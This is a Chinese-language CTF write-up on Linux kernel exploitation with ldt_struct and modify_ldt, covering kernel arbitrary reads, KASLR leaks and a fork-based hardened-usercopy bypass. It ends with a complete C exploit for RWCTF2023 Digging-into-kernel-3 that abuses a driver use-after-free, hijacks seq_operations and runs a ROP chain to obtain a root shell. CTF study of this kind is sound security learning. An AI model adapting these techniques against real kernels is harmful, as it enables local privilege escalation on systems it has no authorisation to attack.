ldt_struct 结构体
对于该结构体知识请自行谷歌学习,这里仅仅讲利用
ldt 即局部段描述符表(Local Descriptor Table)该结构体如下,结构体的大小为 0x10:
/*
* ldt_structs can be allocated, used, and freed, but they are never
* modified while live.
*/
struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;
/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};
其中 entries 指向一个 desc_struct 数组,nr_entries 标识 desc_struct 数组中元素的个数
/* 8 byte segment descriptor */
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));
modify_ldt 系统调用
Linux 提供给我们一个叫 modify_ldt 的系统调用,通过该系统调用我们可以获取或修改当前进程的 LDT:
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;
switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}
我们应当传入三个参数:func、ptr、bytecount,其中 ptr 应为指向 user_desc 结构体的指针:
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
#ifdef __x86_64__
/*
* Because this bit is not present in 32-bit user code, user
* programs can pass uninitialized values here. Therefore, in
* any context in which a user_desc comes from a 32-bit program,
* the kernel must act as though lm == 0, regardless of the
* actual value.
*/
unsigned int lm:1;
#endif
};
read_ldt():内核任意地址读
可以看到该函数会将 ldt_struct->entries 指向的数据复制到用户区,所以如果我们能够控制 ldt_struct 结构体,那么我们就可以通过修改 ldt_struct->entries 去实现任意地址读取。
write_ldt():分配新的 ldt_struct 结构体
该函数会调用 alloc_ldt_struct 函数重新分配一个 ldt_struct 结构体:
alloc_ldt_struct 调用的是 kmalloc 函数分配的 ldt_struct 结构体,所以这就给了我们控制 ldt_struct 结构体的机会。
ldt_struct 泄漏内核基地址
我们可以先泄漏直接映射区的位置,然后在直接映射区上有一个 secondary_startup_64 函数指针,然后我们就可以直接读直接映射区去泄漏内核基地址。
下面直接来自【PWN.0x02】Linux Kernel Pwn II:常用结构体集合 - arttnba3's blog
I. 爆破 page_offset_base 与泄露内核 .text 段地址
前面讲到若是能够控制 ldt->entries 便能够完成内核的任意地址读 ,但在开启 KASLR 的情况下,我们并不知道该从哪里读取什么数据
这里我们要用到 copy_to_user()
的一个特性:对于非法地址,其并不会造成 kernel panic,只会返回一个非零的错误码,我们不难想到的是,我们可以多次修改 ldt->entries 并多次调用 modify_ldt() 以爆破内核 .text 段地址与 page_offset_base,若是成功命中,则 modify_ldt 会返回给我们一个非负值
但直接爆破代码段地址并非一个明智的选择,由于 Hardened usercopy
的存在,对于直接拷贝代码段上数据的行为会导致 kernel panic,因此现实场景中我们很难直接爆破代码段加载基地址,但是在 page_offset_base + 0x9d000 的地方存储着 secondary_startup_64 函数的地址,因此我们可以直接将 ldt_struct->entries
设为 page_offset_base + 0x9d000
之后再通过 read_ldt()
进行读取即可泄露出内核代码段基地址
II. 利用 fork 完成 hardened usercopy 下的任意地址读
当内核开启了 hardened usercopy 时,我们不能够直接搜索整个线性映射区域,这因为这有可能触发 hardened usercopy 的检查
ldt 是一个与进程全局相关的东西,因此现在让我们将目光放到与进程相关的其他方面上——观察 fork 系统调用的源码,我们可以发现如下执行链:
sys_fork()
kernel_clone()
copy_process()
copy_mm()
dup_mm()
dup_mmap()
arch_dup_mmap()
ldt_dup_context()
ldt_dup_context() 定义于 arch/x86/kernel/ldt.c
中,注意到如下逻辑:
/*
* Called on fork from arch_dup_mmap(). Just copy the current LDT state,
* the new task is not running, so nothing can be installed.
*/
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
//...
memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);
//...
}
在这里会通过 memcpy 将父进程的 ldt->entries 拷贝给子进程,是完全处在内核中的操作,因此不会触发 hardened usercopy 的检查,我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt() 读取数据即可
RWCTF2023-Digging-into-kernel-3
开启了 smap、smep、kaslr 和 kpti 保护,驱动程序很简单,就一个 ioctl 函数
然后有一个贴脸的任意大小UAF,并且有写堆块的功能。
主要的问题就是这里没有读堆块的功能,所以关键点就是去泄漏内核基地址。最开始我想用 msg_msg + shm_file_data 去泄漏内核基地址的,但是最后失败了(我感觉应该是可以的),我认为是 copy_from_user 写数据的时候把 msg_header 结构体的 next 字段给覆盖了,由于我对 copy_from_user 的一些特性不是很明白,就没有深究。
最后选择利用 ldt_struct 去泄漏内核基地址,然后经过测试发现没有开启 CONFIG_RANDOMIZE_KSTACK_OFFSET 保护,所以直接劫持 seq_operations,然后利用 pt_regs 一套带走了。
我在 ctf-wiki 上看到其是利用的 user_key_payload 泄漏的内核基地址,然后通过 pipe_buffer 劫持的程序执行流,这个方法到时候在看看吧,我感觉 pipe_buffer 这个结构体很重要,后面好好学习一下。
然后这题也没有开启一些 slab 保护,所以也不需要堆喷,exp 如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#define SECONDARY_STARTUP_64 0xffffffff81000060
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;
struct node {
int idx;
int size;
char* ptr;
};
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
struct node n = { .idx = idx, .size = size, .ptr = ptr };
ioctl(rw_fd, 0xDEADBEEF, &n);
// if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}
void dele(int idx)
{
struct node n = { .idx = idx };
ioctl(rw_fd, 0xC0DECAFE, &n);
}
int main(int argc, char** argv, char** env)
{
bind_core(0);
int qid;
char buf[0x10] = { 0 };
rw_fd = open("/dev/rwctf", O_RDWR);
if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");
add(0, 0x10, buf);
dele(0);
size_t page_offset_base = 0xffff888000000000;
size_t temp;
int res;
int pipe_fd[2];
size_t kernel_offset;
size_t* ptr;
size_t search_addr;
struct user_desc desc = { 0 };
desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
while (1)
{
dele(0);
*(size_t*)buf = page_offset_base;
*(size_t*)(buf+8) = 0x8000 / 8;
add(0, 0x10, buf);
res = syscall(SYS_modify_ldt, 0, &temp, 8);
if (res > 0) break;
else if (res == 0) err_exit("no mm->context.ldt");
page_offset_base += 0x4000000;
}
hexx("page_offset_base", page_offset_base);
pipe(pipe_fd);
ptr = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);;
search_addr = page_offset_base;
kernel_offset = -1;
while(1)
{
dele(0);
*(size_t*)buf = search_addr;
*(size_t*)(buf+8) = 0x4000 / 8;
add(0, 0x10, buf);
res = fork();
if (!res)
{
syscall(SYS_modify_ldt, 0, ptr, 0x4000);
for (int i = 0; i < 0x800; i++)
if (ptr[i] > 0xffffffff81000000 && (ptr[i]&0xfff) == 0x060)
kernel_offset = ptr[i] - SECONDARY_STARTUP_64;
write(pipe_fd[1], &kernel_offset, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &kernel_offset, 8);
if (kernel_offset != -1) break;
search_addr += 0x4000;
}
hexx("kernel_offset", kernel_offset);
puts("Hijack the Program Execution Flow");
pop_rdi += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_kpti += kernel_offset;
add_rsp_xx += kernel_offset;
hexx("add_rsp_xx", add_rsp_xx);
add(0, 0x20, buf);
dele(0);
seq_fd = open("/proc/self/stat", O_RDONLY);
dele(0);
add(0, 0x20, &add_rsp_xx);
asm(
"mov r15, pop_rdi;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, swapgs_kpti;"
);
read(seq_fd, buf, 8);
hexx("UID", getuid());
system("/bin/sh");
return 0;
}
最后可以直接提权: